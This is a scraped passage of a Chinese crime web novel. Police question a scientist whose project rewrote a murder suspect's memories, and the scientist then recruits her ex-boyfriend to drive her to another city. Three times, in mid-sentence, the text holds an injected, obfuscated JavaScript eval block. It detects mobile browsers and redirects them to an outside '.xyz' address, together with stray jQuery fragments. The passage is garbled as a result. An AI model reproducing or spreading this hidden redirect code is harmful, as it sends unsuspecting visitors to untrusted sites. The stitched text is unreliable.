季和表情稍稍舒缓。
但又觉得哪里怪怪的,恍惚觉得自尊被人悄悄蹬了一脚。
方清昼说:“在我们系统性地给她输入这部分常识后,她开始自主地对人生开始了幻想跟构建,表现出了明显的个人偏好,有了自己的主观判断。
“她并不像大众所认为的那样无知无觉,她同样有张牙舞爪的思维跟情绪。人格也没有那么的容易被消磨。即便是拥有相同的家庭、相同的教育、相同的经历,也不会成为相同的人。”
“但沈知阳无法自己走出过去的困境,在她拥有一定的判断力后,我们给她做了一个不算是选择的测试。她希望自己能够离开精神病院。
“所以我认为更准确地说,她的人生不是我给她虚构的,是她为自己编织的。”
方清昼直视着季和的眼睛,诚挚而平和。确认她没有多余的疑问,点了点头,继续往下说:“之后我们通过不断加深、强调沈知阳的构想,进行对记忆的覆盖。这个过程进行得异常顺利,除却被囚禁时期的记忆片段过度匮乏,我们偏向认为这也是大脑的一种自主选择,是人类本能的自救。
“在确定她适应社会生活之后,我们停止了观测,不再打扰。你们联系我之前,我已经有一段时间没听到过她的消息。”
赵戎过去给她倒了杯热水。
方清昼接过,说了声“谢谢”。
季和:“那她为什么现在出现了问题?”
“我不知道。这个项目在三年前就已经被叫停了。不过我可以肯定地告诉你们,在没有外部第三人的介入下,她不可能会第二次改变对自我的认知。至于这个人是谁,修改她记忆的目的是什么,我无法确认。”方清昼见她把话题推进到下一阶段,不易察觉地松了口气,追问:“沈知阳做了什么?”
方清昼总是在试图掌握谈话的主动权,反向从警方这里套取信息。
季和起初以为她是故意的,因为她见过不少所谓的精英人士,出场带着自然而然的上位者气息,认为自己杜撰的谎言精湛得足以瞒天过海,轻蔑地看待警察。
不过目前看来方清昼不是。她只是更相信自己的效率,希望双方可以互摊明牌,以便减少繁冗
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16298672|181909||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的问询。
季和的态度适当地放宽,给她看了张图片:“这是沈知阳自己在酒店写下的纸条。”
上面记录着一段行程提醒:
——手机付款时间为早晨9点21分,申请查看酒店监控,单人入住,期间应答正常。随身携带一件行李。手部伤口有做简单处理,无发炎感染迹象,检查身体其它部位,疑似与人发生过肢体冲突。次日凌晨00点32分醒,房间镜子被打破。相关记忆全部缺失。暂定:1、报警(待观察),2、联系三夭(未有重要情报前不作建议)。
——8月24日
方清昼扫过一眼,直截了当地道:“你们把她关在分局没有用,今天送她回酒店。我帮你们撬动她的认知。”
“什么?”赵戎大声叫道,“你知道她是一起凶杀案的嫌疑人吗?怎么可能放她回酒店!”
方清昼的讲述总是平静,不带有威逼或是压迫的观感,却有股让人信服的重量:“你们没有别的办法。昨天她在酒店照到镜子,发现自己是沈知阳,打碎镜子后一觉醒来,恢复了方清昼的认知。今天就算你费劲口舌,给她强调再多遍她的身份,过了明天,她还是可能什么都不记得。”
季和将信将疑地问:“那如果我坚持并重复呢?可以通过不断的强调来扭正她的认知吗?”
方清昼抬眸,很淡地看了她一眼:“人不是一台可以反复重启的电脑,警官。机器坏了可以修理,而人在绝望的时候,是会自杀的。她不是必须接受你们的安排,她有一键结束的选择。何况虚构的人生本身就是脆弱的,你的强势和粗暴在她面前起不到正面的作用。”
季和还在思考她那个眼神的意义。
方清昼又说:“来的路上我有查过,抓获吕坚承的时候,警方特意找了个漂亮、有亲和力的女警去接沈知阳出来。她是你当年亲手从地下室里抱出来的,你应该也不希望她在好不容易走出当年的困境之后,又在自己的推动下走上另一条绝路。”
赵戎闻言瞠目结舌。
“亲和”,跟“季和”,除了中文字体意义上的相似,难道还有别的能关联的地方吗?
季和摩挲着指腹,没有表现出其它情绪,从鼻腔里发出一声低笑,别有深意地问:“你为什么笃定她会选择自杀?这种恐吓的手段对我只会起反效果。还是你有别的事情没说。”
方清昼停顿稍许,脸上第一次出现不那么游刃有余的空白,嘴角往下沉去:“她不是第一个受害人。”
季和表情严峻道:“还有谁?”
方清昼翻出相册中的病历,看见的时候目光不由凝住,过了会儿才递给季和,坦白说:“周随容。我男朋友。他自杀后幸运地被救了回来。我不知道他为什么自杀,为了避免他重蹈覆辙,屏蔽了他一部分的记忆。”
季和问:“我可以看一眼其它的吗?”
方清昼无所谓地摆了下手。
相册里大部分是各种复杂资料的截图,中间偶尔夹着几张照片,看起来不是方清昼自己拍的,是从别的地方保存下来的。可以一窥她平时生活的单调跟规律。
季和没有深入地探查,把手机还给方清昼。后者的声线依旧平坦,可偏了下头,眼底的晦暗犹如翻涨的潮水,深深浅浅地变化,清冷苍白的脸宛如被光浸透。
“他是冲着我来的。”
12.交锋
季和整理了遍当前信息,似是姑且相信她的叙述,并未纠缠细枝末节,抓住重点问:“你想怎么做?”
方清昼不客气地安排起来:“先送她回酒店,给她一点缓冲的时间,她近期的状态起伏太大,难以引导交流。”
季和:“多久?”
“两三天吧。”方清昼保守地道,“看她的恢复情况。”
季和不置可否,笑眯眯地问:“然后呢?”
方清昼看出她笑容中缺乏赞同的意味,条分缕析地道:“根据我的判断,幕后人是利用了沈知阳杀人后的彷徨跟惊惧,动摇到她的意识,让她产生对自我的怀疑跟否认。既然他给沈知阳选择了我的身份,而我与沈知阳之间唯一的联系是【异常测定】,那么作为稳固这种认知的锚,多半围绕着项目有关的内容上。”
方清昼放缓节奏,努力讲得浅显易懂:“短时间内对方无法实现精准的认知修改,只能引导。沈知阳会保持一定的独立思考判断。比如你拿着一个柠檬和一个橙子,告诉沈知阳柠檬比橙子要甜,她不可能接受。所以对方能做的只是输入大量与我,以及【异常测定】有关的信息。而无法完全决定沈知阳对这个项目的观点与立场。”
季和身为十多年的老刑警,不露声色的时候,让人感觉相当难以说服。堪比一块坚硬的石头,无从探知她的想法。
方清昼也不是个喜欢自说自话的人,没有人反馈搭腔,她的语气很快变得干巴巴起来,如同在照本宣科:“沈知阳对【异常测定】的立场,大概率与我不同。最理想的结果,是通过各种细节矛盾,让她主动思考,对方清昼这个身份的认知产生质疑。
“我可以为你们提供资料,再根据你们和她的谈话情况,确认对方的信息来源,做进一步的调整。”
她说完后便专注看着季和,等待对方的回复。
两人似乎浑然察觉不到周围快要降至冰点的氛围,只有赵戎在这阵死亡般的寂静中独自煎熬。
……他又没有犯罪。为什么要坐在这两个人中间?
“哦。”季和迟钝地做出了悟状,刺了一句,“你的建议中全是不确定的推测,如果不顺利,我们要等到猴年马月?我怎么确定你是不是在骗我?”
她的后半截话已经含在喉咙里,准备跟方清昼进一步地商谈条件。
方清昼见她脑子拐过弯儿来了,只是缺乏一些自信,稍作思量,大度、宽容、鼓励地说:“你不相信你自己,可以相信我。”
季和:“……?”
她很少有被这样气到失语的时候。
“你只需要经过少量的、短暂的学习,就能应对跟沈知阳的交锋。”方清昼又展现出自己无微不至的一面,考虑得面面俱到,安抚她说,“如果不顺利,到时候你戴个耳机,我跟你现场连线。”
季和唇角抽动,极力克制着,展颜笑道:“不用了。我的智商比普通猴子还是要高一点,已经进化过了。”
“你不要跟猴子比。”方清昼大抵终于察觉到她表情有微妙的不对劲,眼神朝赵戎的方向飘了飘,夸赞说,“你看起来比边上这位要聪明一点。”
——边上这位跟猴子可能没什么区别。季和跟赵戎同时在心里道。
赵戎以瞻仰勇士的目光,崇拜地望着方清昼。
这种刻薄是纯天然的吗?跟他们季队的还不一样。
同时右手蠢蠢欲动,想要捂住勇士的那张利嘴。
再说下去,他怀疑人民公仆要起身揍人民了。
季和跟开了天眼一样,偏头冷冷斜了他一眼,脸上的表情写着我知道你在想什么。
赵戎立马收敛神色,两腿并拢,坐姿端正。
方清昼已独自进展到查漏补缺的环节:“假如要在酒店实施抓捕,我建议你们多带几个人。我会负责去跟酒店沟通,提前清空房间周围的住客,以防出现任何意外。”
赵戎茫然问:“你怎么沟通?那也是三夭的酒店吗?”
方清昼同样茫然道:“用钱?”
赵戎:“……”他这张嘴真欠啊。
虽然沈知阳的瘦胳膊瘦腿,季和一只手就可以按住,还是有气无力地“嗯”了一声,不想再跟方清昼做任何争论。
方清昼解锁手机,推过去说:“加个好友吧,回去后我把资料发给你们。”
“我没说你可以回去了。”季和故意找茬似地道,“我怎么知道你们这群变态科学家有什么隐藏的手段?也许从你进入房间开始,我就被你控制了呢?”
方清昼愕然。这种毫无根据的奇思完全不是她的问题,她却要在这种离谱剧情中充当一个可怕的变态。那投诉也不是不能作为一种手段。
直到季和闷声发笑,方清昼才意识到她只是在开玩笑。
季和加上好友,举着手机对她说:“保持电话畅通。”
·
此时,居民楼下。
季和的手机屏幕闪了一下,跳出方清昼的信息。
“上来。”
简短两字有如天籁。
低气压了一整晚的季和豁然起身叫人:“好了,法医!现勘的那几个人呢?”
一行人分了两班电梯往上走,现勘人员提着工具箱率先进场。
因楼层在六楼,不算高,几个年轻力壮的小伙儿直接从一侧的安全通道往上爬。
赵戎精神抖擞地冲在前头,迎面遇到往下走的方清昼。
方清昼将身上配着的执法记录仪还给他,敷衍地点了点头算作招呼,单手拎着头盔跟他擦肩而过。
赵戎望着她背影,脑子一抽,“哒哒哒”追了上去,喊住她道:“我有一个小小的问题,方女士。”
方清昼停在楼梯半道,侧身抬头,带着困倦的眉目有种生人勿进的冷峻:“讲。”
赵戎回头瞄了眼高处,确定顺风耳也不可能从楼上听见他的话,趴到扶手上,神神秘秘地问:“你记得自己一年前的早餐吃了几个鸡蛋吗?”
“嗯。”方清昼不以为意地说,“记得。”
赵戎深吸一口气,刚要表示对天才的惊叹,就听她慢悠悠地吐出下半句:“因为我早餐从来不吃鸡蛋。”
赵戎:“……”
好的,他就多余问。
赵戎怀着郁闷的心情回到现场,房间里已挤进多名警员。
负责现场摄影的同事正在对着冰箱拍照。
房间没开空调,加上夏季空气潮湿,尸体表面很快凝结起密集的水珠,血水及冰霜逐渐融化,湿哒哒地往下流。
同事拍完照赶紧给法医让出位置。
餐厨厅空间狭小,靠墙位置还摆了张尺寸颇大的方形长餐桌,几个体格高大的警员往里一站,都有种呼吸不顺畅的局促感。
沈知阳被带到一旁的长廊,季和给她披了件外套,盖住她的头脸,让她蹲着吹风。
一行人尽量放轻了手脚勘查,工作的动静还是吵醒了上下几层的住户。
有人好奇中乘坐电梯上来打探,步子没来得及往外迈,被守在电梯口的刑警直接堵了回去。
三更半夜的是不好主动扰民,警员咧开嘴角笑得一脸和蔼,带着主动送上门的夜猫子去楼下问话。
没多久,同事提着个证物袋来拿给季和看。
“这套房子起码有两三年没人住过了,到处都落着灰,只有玄关部门被人刻意打扫过。这张请柬放在鞋柜上,应该是近期刚送过来的。比吕坚承的死亡时间还晚。上面没有提取到指纹。”
这是一张结婚请柬,左边是大红的喜字,右边是新人的信息。婚礼时间是9月15日,地点在B市。
青年露在外面的眼睛闪动着隐隐的光芒,讥笑道:“真刺激,违法犯罪,还请我们吃席呢!”
季和来回翻看了遍,用手机拍了张照,还给同事。
电梯“滴”的一声,再次打开。
两位刑警走出来,给季和汇报道:“季队,打听了下,这套房子的户主不是沈知阳,是一对老夫妇。他们女儿在国外做生意,前几年怀孕生孩子,两夫妻就出国帮忙照顾,已经有两年多没回来了,也没听说有把这房子出租或者售卖的情况。不知道沈知阳为什么会有钥匙。我们拿到了业主的微信,在等对方通过好友。”
季和点点头,嘱托边上的副队帮忙指挥一下现场,带着缓过劲来的沈知阳先回街边的警车。赵戎立马颠颠地跟上。
这一路沈知阳沉默不语。被季和塞进车里,也只是缩瑟而安分地静坐,瞳孔涣散,轻微地打着哆嗦。
季和没开空调,降下了前排的车窗,问:“想现在说吗?”
沈知阳没了之前的尖锐,整个人看起来柔软而温顺,小声道:“我还有一些没想起来。”
季和也变得平易近人,仿佛之前有过的咄咄逼人都不存在:“想起什么说什么。”
沈知阳揉了揉额头,耷拉着脑袋,半天憋不出开头,神情变得愈加焦躁。
季和便道:“那我问,你说,可以吗?”
沈知阳点头。
“你是怎么遇到吕坚承的?”
沈知阳两手紧紧交握,语无伦次地讲述:“在街上偶然看见的。我以为是自己认错了,于是一直跟在他们后面。中途吕坚承去上厕所,我鬼使神差地上前跟他妻子搭话,她说她比——”
季和打断她,说:“这么巧?吕坚承出狱后一直躲在外地不敢回A市,这次父亲病死,他回来处理丧事,也只计划留一星期。中途在市区逗留几个小时订花,就跟你遇上了?”
沈知阳的呼吸声戛然而止,过了会儿才从被忽略的角落翻出答案:“有人邀请我去看电影,到时间他没出现。我在约定的路边等人,不停张望,意外看见了吕坚承。”
季和身体前倾,贴住她的手臂,问:“什么人?”
沈知阳汲取到她的体温,莫名地安心,描述流畅了一点:“我们店的一个客人。半年前开始到我们店里喝咖啡。有时候一坐就是一个下午,偶尔会跟我们聊天。”
季和眸光锐利,问:“他长什么样子?有什么体貌特征?”
“他……”沈知阳绞尽脑汁,挖出来最深的印象,“穿着白衬衫,然后休闲裤。”
季和:“……”
赵戎:“……”
为什么原本挺正常的人,一到警察面前,就都变得如此抽象?
沈知阳抬起头,舌头接不上大脑一样地打结道:“我、我不会描述人的长相。你一问,具体的细节我都不确定了。好像是双眼皮,又好像是内双。不记得脸上有没有痣,反正皮肤很白,长得非常帅。三十多岁吧,比我高。我同事说他的西装是定制的,一看就不便宜,不知道为什么总来我们店。”
季和转变方案,说:“我们会去你店里拿监控的。你记不记得他到店的具体时间?其中一天就可以。”
沈知阳说:“我的聊天记录没有了。有几次他出现的时候,我跟同事聊起过,说他又过来了。你们可以查查。”
“好。”季和迅速跳转到下一个问题,“你第一次见到吕坚承的时候没有杀他,为什么
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16308780|181909||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
过了一段时间才动手?”
沈知阳的表情急剧变化,闭上眼睛,触电似地抽搐颤抖,语言组织再次变得颠三倒四:“第一次见面的时候我没反应过来,甚至躲起来了。后来我越想越不甘心,怨恨自己为什么要害怕,于是一直跟着他。我发现他身边的亲戚都对他客客气气,没有人指责他曾经的过错。我不能接受。我趁他小孩不在家的时候,编了个谎话威胁他出来。我本来没想杀他的,其实我也不知道我想做什么——可是他认出我后不仅不反悔,甚至嘲讽我……”
她的喘息声近乎尖叫。
季和再次打断她,握住她的手,让她平静下来。
沈知阳低着头,温热的眼泪从紧闭着的眼睛里缓缓溢出,打在季和的手背上。
杀完人之后,她一度没有了知觉。
世界是嘈杂又安静的,她跪在尸体边上,有刹那觉得自己也死了。
当时的想法对她来说相当陌生,已经无法判断是什么力量在驱动着她,让她空虚地处理完尸体,再用吕坚承的手机,给他的妻子发短信,编造拙劣的谎言,拖延对方报案的时间。
她回到家里,一面希望警方永远不要发现尸体,让他就这样悄无声息地死去,为自己的过错赎罪。
一面等待着有人破门而入将她绳之以法,给她在公众面前亲自控诉这个禽兽罪行的机会。
她痛哭流涕的时候,停在他们前面的现勘车动了。
法医终于把尸体从结霜的冷冻柜里抠出来,挡在路口的电瓶车也被搬开,司机将车直接开进小区里面。
出来的时候,司机探出车窗跟季和打招呼:“季队,我们先去殡仪馆了。”
季和挥了下手,升上车窗。
沈知阳捂着脸,胸口起伏着,额前的头发被汗渍打湿,目光落在前车远去的尾灯上,嘴里小声地道:“房子也是他的。我的房东说房子需要自用,希望我能在下个月搬出去。他以为我是因为这个不开心,说他在这附近有一套闲置的空房子,虽然很久没人打理有点脏,不过家具齐全,交通方便。可以暂时借给我。”
赵戎好不容易从犄角旮旯里翻出一包纸巾,沈知阳已经不哭了。
“再后面我就记不清楚了。我的理智开始认为我是方清昼,可是思维又特别混乱。我意识到自己有问题,却没办法控制。
“我当时以为是三夭内部出了什么问题,我被人陷害,记忆在消失。我直觉手里的钥匙非常关键,担心自己会彻底忘掉这个线索,就到这个小区附近找了家最近的网吧,把钥匙交给网管,没想到对方刚好表现得认识我,我就请他帮忙提醒。然后我订了对面的酒店,把自己关在房间里,想看看情况调整状态。如果失忆的情况真的恶化,我认为我肯定会需要电脑,到时候就会第一时间去网吧……”
季和“嗯”了一声,没再追问。
等拉着队伍回到分局,处理完一些紧急的文件,得到喘口气的功夫,天已经快亮了。
季和孤魂野鬼一样地从走廊轻飘飘地晃过去,栽倒在休息室的沙发上,一动不动。
赵戎以为她睡过去了,发挥自己做狗腿的主观能动性,翻出条毛毯想给她盖上。走近一看,发现季和的嘴唇在无声启合,猜测她大概是累过了头睡不着,在打报告的腹稿。
身体在抗拒,灵魂在出走,但是精神在工作。
赵戎同情地问:“喝热水吗师父?我去给你倒一杯。”
季和的面部肌肉僵硬,像是在竭力控制着情绪,眼皮颤了颤,表情还是流露出些许的绝望。
“那个男人在沈知阳身边打转了半年多的时间,沈知阳关于自己杀人的冲动是否来自主观其实无法确认。最关键的记忆空缺,完全不清楚自己的认知具体是什么时候开始发生的变化。
“说实话,我不认为最后关于钥匙的那种缜密的处理手段,是沈知阳在魂不守舍的状态下可以想出来的。大可能跟房子里的那张请柬一样,是对方特意送给警方的提示……呵呵,这是怕我们磨磨蹭蹭找到尸体的时候,婚礼已经结束了。你看,他还瞧不起我们。好,报告上就这么写。”
季和说着忽然没了声儿,赵戎倒完水抬头,就见她一手搭着另外一手的腕部,在给自己把脉。表情严肃地给自己宣判道:“我感觉不到自己的脉搏了。”
赵戎有点害怕了,嚎道:“别这样啊姐,我们物证扎实,检察院会理解的!”
季和气若游丝地问:“这案子连嫌疑人的认知都乱七八糟的,换成是你,你理解吗?”
赵戎说:“大不了我去装孙子可以吗,我擅长这个。乱七八糟又不是我们的错。”
季和从沙发上仰起沉重的头,给他赏了个白眼,说:“除了我,你以为还有谁想当你祖宗?何况我也不是自愿的。”
赵戎:“……”
他做了个悲痛欲绝的哭脸表情。
季和躺了会儿,大脑越来越清醒。窗外马路上传来汽车行驶的声音,天光在边际处隐隐冒头。
她干脆坐起来,摸出手机,手指飞速按动。
屏幕的光线白惨惨的,照着她没有血色的脸,有一丝恐怖。
赵戎紧张地问:“你在联系谁?我们漏了什么证据吗?”
季和说:“我在给疯狂科学家发信息,问问她睡了没有。你怎么没把她拦下来?请她来警局聊聊啊。”
·
方清昼的手机一直在震动,屏幕上跳出新信息的提示。不过她没看。
从电梯出来,停在一扇门前,抬手按响门铃。
13.邀请
时间太早,而周随容作息规律,多半还在休息。
方清昼按了两遍门铃,才听见有脚步声在由远及近。
她往左站了半步,恰当地站在智能门锁的摄像头可以拍到的位置。
临近的步伐在短暂的停顿后,又仓促地远离,过了一分钟左右才重新跑回来。旋即大门被人一把拉开。
“谁?”周随容视线不经意地落到她身上,露出相当惊讶的表情,一手挡住入口,怪声怪调地说,“哟,稀客啊。”
方清昼对着他看了一秒,倏然想起对方曾经的劝告——不要在别人说谎的时候直勾勾地盯着他们的眼睛看。于是低下头,视线垂了下去。
哪怕是夏末,早晨的空气还是潮湿微凉的,带着从长廊上吹来的风,萧瑟地盘旋在方清昼身上。
楼道间的灯光打得昏暗,显得方清昼的脸纸片般的苍白。
周随容把门拉得大开,短发上还沾着匆忙中溅上的水珠,故作漠视地问:“这么早来找我做什么?”
方清昼说:“我想见你,跟你聊聊。”
周随容脱口而出:“我住院一个多月,你没说想见我……”
他后面的话停住了,不想说这些听起来像埋怨或怨恨的语句,徒增自己的狼狈。但提起来又难免会愤愤不平。
不明白方清昼为什么可以这样若无其事地出现,好像他无关紧要,永远无条件任她支使。所以不愿意让她进来。
“我们分手,你不来看我,我可以能理解。你不想跟我再有瓜葛。”周随容扯了扯衣领,露出左侧锁骨上方,一道足有两指长的狰狞刀疤,竭力用愤怒压住委屈,质问道,“但这是怎么回事?我跟个傻子一样被你丢在医院,记忆还缺了一段,这个不能跟你没关系吧?”
“关于这个问题,我认为你大概率会问,所以在路上思考过如何回答。”
方清昼不愧是高材生,起手先写了一个没用的解。
周随容拧着眉认真等她后面的解释。
实际上方清昼转空了脑袋都没得出一个稳妥的答案,此时只能跟他坦诚相告:“基于多方面的考虑、以及有许多原因的限制……我希望你暂时不要深究。”
周随容顿时被气笑了,情不自禁地抬手摸向自己脖颈上的斜长刀疤,感觉指腹下那道凶险的伤口还会起伏涌动,尚未痊愈,稍加用力就可以撕开一道裂口,触摸到里面的血肉。
他想还好自己那一刀不是捅在心肺,否则这会儿要先拨打救护车才敢听她说话。
方清昼的诚意体现在熟练的长句上:“如果我说我是为了你好,你估计无法接受类似的说辞。我回去仔细翻查了所有的资料,认为你目前处于一个安全稳定的状态,在我不确定你发生过什么事情之前,我希望你可以尽量维持。我不确定什么场景、人物、词语,会触发你的应激破坏这种平衡,我只能大范围避开,本意不是要伤害你。对不起。”
周随容听着她滔滔不绝的讲述,脑子里一句话没钻进去,光听到了最后那句“对不起”。
他憋闷地道:“我听不懂。你能不能好好说话?”
“对不起。我不擅长跟你说谎。”方清昼又道歉道,“之前忙,没办法专心处理。现在我推掉了后面的所有工作。我会告诉你的。先让我进去,可以吗?”
方清昼鲜少做这种废话占比高达九成以上的解说,说完还要等待对方的反馈。这让周随容也不由沉默了。
他能清楚地看到方清昼泛白的、干燥的嘴唇,看她窘迫而惆怅地站着,两手下垂贴着裤线,手指轻轻摩挲,冥思苦想而不得其法。
他感觉到了自己的没出息。面对这种不可理喻的搪塞,不仅没有回以冷笑,还莫名其妙地被软化。难怪方清昼会把他置后处理,随意打发。
周随容把手放下了,硬邦邦地道:“进来吧。”
方清昼从边上拖出个行李箱,跟在他身后进屋。
房间里没有多少生活的气息,周随容买了几件日用品的快递,又懒得拆,全部堆在阳台。
灯也暗着,灰蒙蒙的空气形同一片摸不到的海水,带着窒息的氛围弥漫在二人中间。
周随容敞着腿坐到客厅的单人沙发上。
他身后光色大亮,微弱的金光透过落地窗照了进来,披在周随容的肩头,将他的发丝染成了透明。
他头也不抬地玩着手机,欲盖弥彰地在不同app之间来回切换,恍若不关注对面的来客。
方清昼远远停在玄关,表情被光挡得看不清楚,开门见山地道:“你能不能什么都不问,陪我去一趟B市?”
周随容断然拒绝:“不可能。”
他刚压下去的邪火“噌噌噌”地窜了上来,呼吸都不平顺了,语气凉飕飕地道:“方清昼,你能不能正确地对待已分手的前男友?”
方清昼就那么干站着,不走也不动。
周随容悄悄掀开眼皮看她。
过了半晌,方清昼轻声说:“警察在找我。”
周随容惊得一抖,手机掉了下去,说:“什么意思?你做了什么?”
方清昼含混不清地道:“情况有点复杂。我可以在路上告诉你。”
“所以你现在的行为叫什么?畏罪潜逃吗?”周随容捡起手机,大步流星地走过去,几乎紧贴到她面前,近得彼此呼吸交融,咬牙颤声道,“你疯了?方清昼!”
方清昼没有否认,只是无意义地重复:“跟我一起走吧。你得跟我在一起。”
方清昼的眼睛里投映着清晨日出时的细碎光线,通透澄澈的眼珠很完整地容纳住他的脸,低声软语:“好吗?”
她看似温和、无害,实则习惯发号施令。对于做出的决定从不动摇,有着近乎傲慢的强硬跟冷酷。不会服软、不会低头、不会认错,也不懂关心。
能够如此锲而不舍地再三征询,已经是种极大的让步。
周随容撇过了脸,缓缓退开,用手机搜索。
从A市到B市,路程1500多公里。坐动车7个小时左右,飞机只要2个多小时。
现在立刻出发,天黑前还能赶个来回。
周随容关掉铁路软件,沉着脸道:“我可以开车送你过去。但是你要告诉我,你去B市做什么?”
方清昼正要开口,周随容自己反悔了,咬咬牙,心情烦躁地斩断了话题:“算了我不问,你的事情我不会再管。把你送到B市我就回来,到时候你不要再找别的借口。”
方清昼张了张嘴,似乎对他的不近人情感到无所适从,只能怏怏地说:“谢谢。”
她很快朝周随容露出个笑容,一贯看起来冰冷沉静的眼底罕见地泛出一点波动,专注地看着他,带着显而易见的亲近跟刻意的讨好:“我找不到第二个人选。你是我最信任的……朋友。”
周随容被她盯着,紧绷的五官柔和下来,有点无计可施地揉了揉额头,别开视线,说:“那我们也分手了。你不要再说这些话了。”
方清昼唇角的弧度变得生硬,一点点向下抿去,仿佛听进去他的话,连用词都变得客套:“好的。抱歉,只能来麻烦你。我一个人去会有点害怕。”
周随容没看见她的脸,却能想象出她此刻黯然失神的面容,每个字都给他带来针扎似的不适。
“我不是那个意思。”他说了一句,还是不看方清昼,“你等一下。”
他走向卧室,反手将门掩上。在床边坐了会儿整理头绪,从手机列表中翻出备注为鞭炮小兴的同事,给对方发去信息。
周随容:你今天去上班的时候,帮我请个假。
鞭炮小兴:?
鞭炮小兴:?大哥,你已经快三个月没来上班了,现在才想起来请假吗?
鞭炮小兴:现在是早上6点02分,你发消息就是为了跟我说这个吗?
鞭炮小兴:谢谢你心里还有我们,我真感动。不过没关系,这几天领导不在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16324464|181909||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,我也想翘班了。
陆盛兴这个跳来炸去的鞭炮精喜欢管方清昼叫领导。他进公司比较晚,是年龄最小的一个。
周随容:你领导这两天做什么去了?
鞭炮小兴:说是去配合警方调查了,我给她发消息她不回我。
周随容:因为什么事?很严重吗?
鞭炮小兴:我怎么知道?我在分局没有人脉。林姐也被警察叫去问话了,可是她什么都不告诉我,还让我少管闲事。我好生气。
周随容:嗯。
居然是真的。
周随容心里堵得难受,又对太多的未知感到烦闷。而这种燥郁根本无从纾解,出口被掌握在方清昼的手里。
他从角落翻出一个行李箱,心神不宁地从衣柜里抓出几件衣服扔进去。
没什么心思整理,再次拿出手机求证。
周随容:我跟她真的分了?
鞭炮小兴:?你之前自己说的啊,说你们分手了。
鞭炮小兴:你病那么久领导都没去看你,还不够明显吗?为什么要问这么自取其辱的问题?
鞭炮小兴:周哥,我知道你失忆了舍不得,但她是你的老板,死缠烂打是不会有好结果的。
鞭炮小兴:当然话虽如此,领导也确实无情……
对面的人感觉自己嗅到了什么,忽然机警地问:不对,你现在是不是跟领导在一起?
周随容不知道怎么回答。
陆盛兴从他的回复速度中猜到答案:那你还请什么假?!【捶头】
周随容心道,劳动法又不保护两性关系,万一方清昼想用无故旷工的理由开他还不给补偿呢?
鞭炮小兴:你们在哪儿啊?请几天假啊?要去干什么大事吗?为什么不带我啊?我可以帮你们传话啊!
鞭炮小兴:哥,你回答我啊,你怎么不说话?他们每个人都心事重重的,搞得只有我是个外人。
周随容打不住他的问题,头大了一圈,干脆不讲道德地祸水东流:你可以自己去问你领导。
鞭炮小兴:领导太忙,她前面还有二十二个问题没有回答我。
鞭炮小兴:我担心她这次遇到了大麻烦。这两天林姐一直跑上跑下的,我偷听到她说谁谁死了,还说要把领导手上的项目先停两个月。怎么办啊?领导不会被牵连吧?
鞭炮小兴:周哥,我真的不想失去领导啊,你劝她一定要遵纪守法。我们等她回来。
鞭炮小兴:她不回来也行的,我们的自我管理能力极强,但是千万别把我打包卖掉啊,我社恐又怕生,不想去巴结新老板。
周随容的手机“叮叮叮”,界面上跳出一长串让人来不及阅读的文字信息,最后一条是:周哥你回复好慢,现在方便打个语音吗?
几乎是下一秒,令人头皮发麻的语音邀请就迫不及待地弹了出来。
周随容差点拿不稳手机,飞速且用力地点了拒绝,并回复:我现在不方便。放心吧,你这么出色,领导肯定不会舍得把你让给别的公司的。
对面羞答答打来三个字:那好吧。
周随容摁灭屏幕,把几根充电线缠成一团扔进箱子,囫囵收拾一番,合上拉链。
方清昼等在客厅,见他出来,主动过去接他的行李,碰到了他的手。
周随容往边上推了下避开:“你提不动。”
嘴快地说完想起来自己只往里面装了几件衣服,带着一种放弃挣扎的无奈道:“算了,你走你自己的。”
来到门口的位置,顺便把方清昼的箱子也带上。
方清昼按下电梯,跟他隔着两个行李箱的距离并排等候,斟酌后偏过头,用极具她个人风格的语言,又分明过于礼貌,肖似在故意刺挠人的口气说:“谢谢。感谢您的慷慨、善良,还有体贴。麻烦您了。”
周随容:“……”
他可算是听出来了。
但为什么是方清昼在跟他生气?
14.后悔
坐到车上后,周随容冷静了一点,目视前方,摆出公事公办的冷淡说:“别怪我没事先提醒,你不告诉我你做了什么,我也不追问,但如果警方了发布你的通缉令,我会直接把你送到派出所自首。我不想做警方公告里的嫌疑人从犯周某。”
方清昼系上安全带,牵了牵嘴角,用更疏离的态度说:“好的,周先生。”
“你在跟我生气?”周随容不可置信地说,“为什么?”
方清昼温温吞吞地道:“我给你个机会。”
周随容:“???”
方清昼说:“你猜一下。”
周随容:“……?”
周随容其实知道,是那两句“我们已经分手了”和“正确对待前男友”让她不高兴了。她还没能接受分手的落差。
方清昼从见面起就言辞闪烁,隐晦不白。
